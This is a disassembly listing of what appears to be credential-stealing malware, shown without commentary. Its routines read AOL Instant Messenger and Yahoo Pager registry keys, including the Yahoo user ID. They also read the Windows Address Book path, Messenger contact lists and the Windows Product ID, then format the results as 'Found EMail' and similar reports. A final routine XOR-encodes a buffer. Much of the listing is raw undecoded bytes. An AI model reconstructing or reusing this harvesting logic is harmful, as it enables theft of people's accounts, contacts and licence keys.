mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4348A0: ; CODE XREF: ___:loc_401F1Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BDF6
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434E5E
push 80h
mov dword ptr [esp+1Ch], 800h
call near ptr 77C2C407h
nop
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_443600 ; " "
push 1
push eax
call sub_4016AE
push 800h
mov dword ptr [esp+16F0h], 0
call sub_4367FA
; ---------------------------------------------------------------------------
db 8Bh
dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 83D89C0h
dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h
dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h
dd 0FF50FFFCh, 4C483D7h, 32DAE850h, 83907781h, 0C08508C4h
dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h
dd 0F0685204h, 55004435h, 9837E890h, 0B9001Bh, 33000002h
dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0CBF0000h, 0F30050E4h
dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
dd 0
dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h
dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah
dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch
dd 24EB5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F70h
dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
dd 51000001h, 44C75250h, 4424h, 4DE80000h, 900249B5h, 1424448Bh
dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h
dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
dd 80000003h, 402444C7h, 800h, 4AB507E8h, 0C0859002h, 0E9850Fh
dd 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h, 20244489h
dd 96C7E890h, 0B9001Bh, 33000002h, 24BC8DC0h, 6F4h, 0F310C483h
dd 100B9ABh, 0CBF0000h, 0F30050E4h, 24448DABh, 19685010h
dd 6A000200h, 3685500h, 90800000h, 52B4ABE8h, 8468B02h
dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh, 6A006A52h
dd 0FF515000h, 74C085D3h, 24548B0Bh, 0E8905210h, 24EB480h
dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h
dd 6A006Ah, 0D3FF5052h, 3C75C085h, 8BFC568Bh, 16F424BCh
dd 8C8D0000h, 6E424h, 68525100h, 443D4Ch, 0E8694F8Dh, 0FFFCC913h
dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h
dd 1CC483FFh, 1024548Bh, 19E89052h, 8B024EB4h, 8B24247Ch
dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h, 4C244C8Dh
dd 0EC2484C6h, 16h, 0FCC619E8h, 10C683FFh, 5A24FE81h, 820F0044h
dd 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h, 20019h
dd 0B068006Ah, 6800445Bh, 80000002h, 302444C7h, 0
dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h
dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h
dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1B954Dh
dd 443E8C68h, 0E8905600h, 7780A36Ch, 0C483F88Bh, 74FF8518h
dd 948D5775h, 8024h, 52646A00h, 80BEF4E8h, 0C4839077h
dd 74C0850Ch, 24448D53h, 6A44687Ch, 90500044h, 812F8BE8h
dd 8C48377h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch
dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h
dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60B5h, 0FCCB33E8h
dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 0E8560A74h
dd 777F74EFh, 4C48390h, 1C24448Bh, 0B2C6E850h, 8D90024Eh
dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h
dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h
dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
dd 68F08B00h, 4469F8h, 69E86852h, 90560044h, 1B943CE8h
dd 3E8C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h
dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h
dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h
dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h
dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
dd 80BC88E8h, 4C48377h, 0A74F685h, 73E5E856h, 8390777Fh
dd 548B04C4h, 90521C24h, 4EB1BBE8h, 244C8D02h, 2484C764h
dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_434E5E: ; CODE XREF: ___:004348E1j
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434FE2
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
nop
call near ptr 2960000h
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_446948
push ecx
mov dword ptr [esp+2Ch], 100h
call near ptr 2900000h
nop
test eax, eax
jz short loc_434EE8
mov edx, [esp+10h]
push edx
nop
call near ptr 2920000h
jmp loc_434FE2
; ---------------------------------------------------------------------------
loc_434EE8: ; CODE XREF: ___:00434ED6j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_50F738
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_44693C
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
call near ptr 2960000h
nop
test eax, eax
jnz loc_434FE2
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
call near ptr 2900000h
nop
test eax, eax
jz short loc_434F9F
mov ecx, [esp+10h]
push ecx
call ebp
jmp short loc_434FE2
; ---------------------------------------------------------------------------
loc_434F9F: ; CODE XREF: ___:00434F94j
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_434FE2: ; CODE XREF: ___:00434E70j
; ___:00434E94j ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4351E0 proc near ; CODE XREF: sub_4016F4j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4351E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_4351E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435280: ; CODE XREF: ___:loc_401FD7j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017E4
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43551E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
nop
call near ptr 2960000h
mov eax, [esp+14h]
test eax, eax
jz loc_43551E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_446F70
push eax
nop
call near ptr 2900000h
mov eax, [esp+14h]
push eax
nop
call near ptr 2920000h
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
nop
call near ptr 2880000h
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2720000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_435359
push edi
nop
call near ptr 2860000h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435359: ; CODE XREF: ___:00435341j
push 0
push 0
push 0
push 4
push ebx
call near ptr 2720640h
nop
mov esi, eax
test esi, esi
jnz short loc_435389
mov esi, dword_50F8D8
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_435389: ; CODE XREF: ___:0043536Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_435428
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4353CB: ; CODE XREF: ___:0043541Ej
xor eax, eax
mov ecx, edi
loc_4353CF: ; CODE XREF: ___:004353DFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4353CF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014D3
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4353CB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_435428: ; CODE XREF: ___:004353B7j
push edi
mov edi, dword_50F8D8
call edi
push esi
call near ptr 27207EDh
nop
push ebx
call edi
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
nop
call near ptr 2960000h
test eax, eax
jnz loc_43551E
mov ebx, off_50FBF0
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_435477: ; CODE XREF: ___:0043550Ej
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset dword_446A88
push ecx
call ebx ; sub_5EE1E5
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
call near ptr 2900000h
nop
test eax, eax
jnz short loc_435513
lea ecx, [esp+2DCh]
push ecx
push offset dword_446A7C
lea ecx, [ebp+69h]
call sub_4014D3
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
push 64h
nop
call near ptr 2850303h
jmp loc_435477
; ---------------------------------------------------------------------------
loc_435513: ; CODE XREF: ___:004354D3j
mov ecx, [esp+18h]
push ecx
nop
call near ptr 2920000h
loc_43551E: ; CODE XREF: ___:004352A4j
; ___:004352D4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4355E0 proc near ; CODE XREF: sub_401E47j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4355E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_401681
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4355E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+34h]
push 7
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_401681
add esi, 32h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4356F0 proc near ; CODE XREF: sub_401E4Cj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4356F0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435BC7
push ebp
xor ebp, ebp
push ebp
push offset asc_443600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017E4
mov edi, dword_50F75C
push eax
push 80000001h
call edi
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017E4
mov ebp, dword_50F724
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_43581C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BCB+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_43581C: ; CODE XREF: sub_4356F0+FCj
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 2920000h
nop
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000002h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435904
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_446BBF+1)
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435904: ; CODE XREF: sub_4356F0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 2920000h
nop
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000005h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_4359EC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_446BB4
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_4359EC: ; CODE XREF: sub_4356F0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2920000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000000h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017E4
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_435AD4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435AD4: ; CODE XREF: sub_4356F0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2920000h
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017E4
push eax
push 80000003h
call edi
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_443600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017E4
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_435BBD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435BBD: ; CODE XREF: sub_4356F0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_435C61
; ---------------------------------------------------------------------------
loc_435BC7: ; CODE XREF: sub_4356F0+3Cj
lea ecx, [edi+32h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_435C67
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
call near ptr 2960000h
nop
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
nop
call near ptr 2900000h
test eax, eax
jnz short loc_435C5C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_435C5C: ; CODE XREF: sub_4356F0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_435C61: ; CODE XREF: sub_4356F0+4D2j
nop
call near ptr 2920000h
loc_435C67: ; CODE XREF: sub_4356F0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4356F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435E00 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_435E1D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_435E13: ; CODE XREF: sub_435E00+1Bj
cmp [eax+edx], cl
jz short loc_435E21
inc eax
cmp eax, esi
jl short loc_435E13
loc_435E1D: ; CODE XREF: sub_435E00+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_435E21: ; CODE XREF: sub_435E00+16j
pop esi
mov al, 1
retn
sub_435E00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435E40: ; CODE XREF: ___:00401429j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
call near ptr 71AB2B66h
nop
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_435EFC
push ebx
push ebp
call eax
add esp, 8
loc_435EFC: ; CODE XREF: ___:00435EF3j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_435F3E: ; CODE XREF: ___:00435FB7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_435FB9
loc_435F7E: ; CODE XREF: ___:00435F4Cj
; ___:00435F5Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_435FB0
loc_435FA3: ; CODE XREF: ___:00435FAEj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_435FA3
loc_435FB0: ; CODE XREF: ___:00435FA1j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_435F3E
; ---------------------------------------------------------------------------
loc_435FB9: ; CODE XREF: ___:00435F7Cj
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
